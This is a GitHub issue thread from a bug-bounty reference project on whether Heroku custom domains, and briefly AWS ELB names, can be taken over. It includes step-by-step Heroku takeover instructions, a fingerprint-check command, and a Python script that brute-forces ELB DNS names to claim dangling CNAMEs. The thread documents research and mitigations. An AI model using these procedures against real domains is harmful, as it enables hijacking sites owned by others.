can-i-take-over-xyz icon indicating copy to clipboard operation
can-i-take-over-xyz copied to clipboard

Heroku proofs

Open PatrikHudak opened this issue 7 years ago • 30 comments

Service name

Heroku

Proof

Heroku has same virtual hosting concept as other cloud providers. Various *.herokudns.com subdomain respond with the same set of A records. HTTP Host matters for correct domain resolution (as in other providers). There is also an possibility to upload own certificate in order to work on custom domain as well (e.g. GitHub Pages doesn't support this and thus you cannot have HTTPS enabled with custom domain set).

Step-by-step:

  1. Open new Heroku app.
  2. Choose name and region (no effect on takeover).
  3. Push PoC application using git to Heroku. The process is described in Deploy tab.
  4. Switch to Settings tab.
  5. Scroll to Domains and certificates.
  6. Click Add domain.
  7. Provide the domain name you want to takeover, click Save changes.
  8. It might take some time for settings to propagate.

To verify:

http -b GET http://{DOMAIN NAME} | grep -F -q "//www.herokucdn.com/error-pages/no-such-app.html" && echo "Subdomain takeover may be possible" || echo "Subdomain takeover is not possible"

(there is an iFrame with aforementioned URL present)

Documentation

There are three domains that Heroku uses:

  • *.herokudns.com
  • *.herokuapp.com
  • *.herokussl.com

At the moment, I can confirm only proper working on herokudns.com. IIRC, herokuapp.com is a domain that was used prior and is now deprecated, however old DNS records still work. I would like to hear more in comments from somebody who has experience with the remaining two.

PatrikHudak avatar Sep 12 '18 20:09 PatrikHudak

Official Heroku docs: https://devcenter.heroku.com/articles/custom-domains

PatrikHudak avatar Sep 15 '18 19:09 PatrikHudak

Can someone clarify with *.herokudns.com right now? When I add a custom domain the DNS record is fully randomized. Something like larval-beet.y987yas98yd98ya9yhd.herokudns.com It used to be www.domain.com.herokudns.com like 2 days ago @PatrikHudak @EdOverflow

mshassy avatar Oct 18 '18 17:10 mshassy

@mshassy it is randomized now. Just confirmed it.

dropocol avatar Oct 18 '18 18:10 dropocol

@dropocol Thanks a lot for the clarification. I was soo lucky to do a takeover two days. Just found another one and BAM! they have put mitigations. Good move by Heroku anyway.

mshassy avatar Oct 18 '18 18:10 mshassy

@mshassy Correct me if I am wrong but this means that the domain takeovers aren't possible any more?

dropocol avatar Oct 18 '18 18:10 dropocol

@dropocol Technically you still can. If the domain admin decides to use *.herokuapp.com which is not randomized yet. But both *.herokudns.com and *.herokussl.com are not vulnerable.

mshassy avatar Oct 18 '18 18:10 mshassy

@mshassy What's the extent of this randomisation? These can often be defeated with a python script if the randomisation is somewhat predictable / basic (Amazon ELB's being a good example of this).

codingo avatar Oct 18 '18 23:10 codingo

@codingo oncave-bastion-olhqn7oqox74kixnwxpsyxkv.herokudns.com introductory-chimpanzee-vpgvjaxri1ntnuoda6f03jqy.herokudns.com fundamental-meerkat-dzdijagwzkou8z2ansfnmpsk.herokudns.com

3 back to back instances where I tried to add the same domain. Now it's fully randomized as you can see. I'm not sure whether it's possible to brute force such.

But it's strange that there is no info in their documentation about such change. https://devcenter.heroku.com/articles/custom-domains https://help.heroku.com/VKRNVVF5/what-is-the-correct-dns-cname-target-for-my-custom-domains

Btw this is off topic but I would be glad if you could tell us more about the ELB brute forcing. Does it mean that ELB takeovers are possible? I'm not too sure about this statement.

mshassy avatar Oct 19 '18 11:10 mshassy

The change was activated on the 16th of October and recorded in the Heroku changelog: https://devcenter.heroku.com/changelog-items/1488

The devcenter documentation has not been updated yet, but should be before too long.

staaldraad avatar Oct 30 '18 19:10 staaldraad

If the company uses wild card ".domain.com then you cannot take it over because they "claim" all subdomains

bluedangerforyou avatar Nov 11 '18 00:11 bluedangerforyou

@codingo can you please elaborate more about Amazon's ELB's cnames are appended a somewhat predictable integer? My trials with AWS's Load Balancer API seem to indicate uniformly distributed values.

sagi avatar Nov 21 '18 23:11 sagi

@sagi these now look to be patched but for a period of time you could brute force them. Example PoC from when it was working below:

import boto3
import argparse
import time
client = boto3.client('elb', 'eu-central-1')



def takeover(elb,dns,flag):
    while (flag):
        time.sleep(2)
        response = client.create_load_balancer(
            Listeners=[
            {
                'InstancePort': 80,
                'InstanceProtocol': 'HTTP',
                'LoadBalancerPort': 80,
                'Protocol': 'HTTP',
            },
            ],
            LoadBalancerName=elb,
            SecurityGroups=[
               'sg-ead50686',
            ],
            Subnets=[
               'subnet-e7a9559c',
            ],
            )

        print(response['DNSName'])
        if response['DNSName'] == dns :
            flag=0
            print "DOMAIN TAKEN OVER"
            exit (0)
        else:
            response = client.delete_load_balancer(
                 LoadBalancerName=elb
               )


def main():
    parser = argparse.ArgumentParser(description='This script is for taking over ELB-SUBDOMAINS specifically eu-central-1')
    parser.add_argument('-elb', '--load_balancer', required=True)
    parser.add_argument('-dns', '--domain_name', required=True)
    args = parser.parse_args()
    takeover(args.load_balancer, args.domain_name,1)


if __name__ == '__main__':
    main()

Happy to elaborate further if you DM me on twitter.

codingo avatar Nov 22 '18 03:11 codingo

@codingo Thanks!

sagi avatar Nov 22 '18 10:11 sagi

Do you have any idea how to takeover subdomain with the following records Status : NXDOMAIN CNAME : something.herokussl.com ?

itachi73 avatar Jan 31 '19 15:01 itachi73

More Prove about Edge case you can find it on my blog https://www.mohamedharon.com/2019/04/herokudns-still-vulnerable.html

m7mdharoun avatar Apr 17 '19 23:04 m7mdharoun

CC is required to added customer domain :/

Vaghasiyayash avatar May 13 '19 08:05 Vaghasiyayash

Herokudns is not vulnerable anymore, the mentioned edge cases are also not working.

ali0818 avatar Sep 16 '19 19:09 ali0818

@rootkech can you please elaborate a little why it is not vulnerable any more? Also, have you checked all the heroku domains? herokuapp.com, herokudns.com and herokussl.com

dipeshdk avatar May 08 '20 08:05 dipeshdk

@rootkech can you please elaborate a little why it is not vulnerable any more? Also, have you checked all the heroku domains? herokuapp.com, herokudns.com and herokussl.com

You don't have the option to choose custom subdomains anymore with herokudns.com

adityathebe avatar May 08 '20 13:05 adityathebe

Adding to the post^, this only works with domains and not subdomains.

-Open to corrections.

Anon-Exploiter avatar Jun 13 '20 18:06 Anon-Exploiter

@yassinek3ch more info? what are you trying to say

ethrx avatar Mar 05 '21 21:03 ethrx

I actually was able to takeover a subdomain, and it actually works on heroku but to be able to add a custom domain or subdomain you need to verify your account first by a card(e.g., visa, master card, etc), it didn't take any money from me, i think there is a free amount per month if you exceeded it you have to pay, i think you can use the free plan until you submit your POC then you can remove your card details, but if you need to register the same card details again for another POC later on, you will need to wait for a while until you could be able to register it again.

sasky621 avatar Jul 12 '21 09:07 sasky621

Heroku is not vulnerable any more :( image

https://devcenter.heroku.com/articles/error-codes#h31-misdirected-request

H31 - Misdirected Request The client sent a request to the wrong endpoint. This could be because the client used stale DNS information or is accessing the app through a CDN that has stale DNS information. Verify that DNS is correctly configured for your app. If a CDN is configured for the app, consider contacting your CDN provider.

Oumeir avatar Aug 20 '21 02:08 Oumeir

Heroku is not vulnerable

Edge Case Only

teslatheg0d avatar Sep 07 '21 11:09 teslatheg0d

It looks like *.herokuapp.com is not vulnerable anymore.

The scenario:

dig -t CNAME x.vulnerable.com

[...]

;; ANSWER SECTION:
x.vulnerable.com. 142 IN  CNAME   x.vulnerable.herokuapp.com.

I took over x.vulnerable.herokuapp.com. However, when navigating to x.vulnerable.com, the HTTP Host header would be set to x.vulnerable.com. Heroku would then route to request to the Application Error page. However, when sending the request with the HTTP Host header set to x.vulnerable.herokuapp.com, Heroku successfully re-routed the request to my app. Both requests were sent to x.vulnerable.com.

For this case, I believe you need to have the root domain certificate associated with *.vulnerableapp.com to make Heroku successfully route the request which the attacker would not have access to.

You can read more here in the Heroku documentation.

itsbriany avatar Jan 25 '22 01:01 itsbriany

20230203_163134

What is the solution next? Plz help me.

The subdomain is under herokuspace.com

abusabiha avatar Feb 03 '23 10:02 abusabiha

https://medium.com/@neverl0gbughunt/how-i-found-subdomain-takeover-on-red-bull-57540158a18

bunny0417 avatar Jul 25 '23 03:07 bunny0417

Is it still vulnerable after this update?

image

waelahmed-dev avatar Aug 26 '23 14:08 waelahmed-dev

It seems Heroku turns out Non Vulnerable for takeovers anymore

  • Reference : https://devcenter.heroku.com/changelog-items/2640

zy9ard3 avatar Oct 11 '23 13:10 zy9ard3